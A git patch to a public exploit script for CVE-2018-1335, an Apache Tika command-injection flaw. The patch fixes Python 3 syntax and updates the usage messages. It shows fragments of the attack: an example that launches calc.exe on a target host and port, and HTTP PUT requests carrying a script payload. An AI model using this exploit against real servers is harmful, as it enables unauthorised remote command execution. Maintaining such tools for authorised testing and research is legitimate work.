From 61ab10292ffa5b3c16bc6c2b8bc67a7bd84cc7f6 Mon Sep 17 00:00:00 2001 From: bradyjmcl <78229080+bradyjmcl@users.noreply.github.com> Date: Sat, 18 May 2024 08:16:31 -0400 Subject: [PATCH] Update CVE-2018-1335.py Fixed lines 41-44 - TabError: inconsistent use of tabs and spaces in indentation. Fixed line 44 - SyntaxError: Missing parentheses in call to 'print'. Did you mean print(...)? Updated lines 13, 14, 40, and 44 to use "python3" rather than "python" in the usage messages. --- CVE-2018-1335/CVE-2018-1335.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/CVE-2018-1335/CVE-2018-1335.py b/CVE-2018-1335/CVE-2018-1335.py index e0c1192..6574247 100644 --- a/CVE-2018-1335/CVE-2018-1335.py +++ b/CVE-2018-1335/CVE-2018-1335.py @@ -10,8 +10,8 @@ import requests if len(sys.argv) < 4: - print("Usage: python CVE-2018-1335.py ") - print("Example: python CVE-2018-1335.py localhost 9998 calc.exe") + print("Usage: python3 CVE-2018-1335.py ") + print("Example: python3 CVE-2018-1335.py localhost 9998 calc.exe") else: host = sys.argv[1] port = sys.argv[2] @@ -36,9 +36,9 @@ except: try: requests.put(f"http://{url}", headers=headers, data=jscript) + except: + print("Something went wrong.\nUsage: python3 CVE-2018-1335.py ") + try: + requests.put("http://"+url, headers=headers, data=jscript) except: print("Something went wrong.\nUsage: python CVE-2018-1335.py ") - try: - requests.put("http://"+url, headers=headers, data=jscript) - except: - print "Something went wrong.\nUsage: python CVE-2018-1335.py "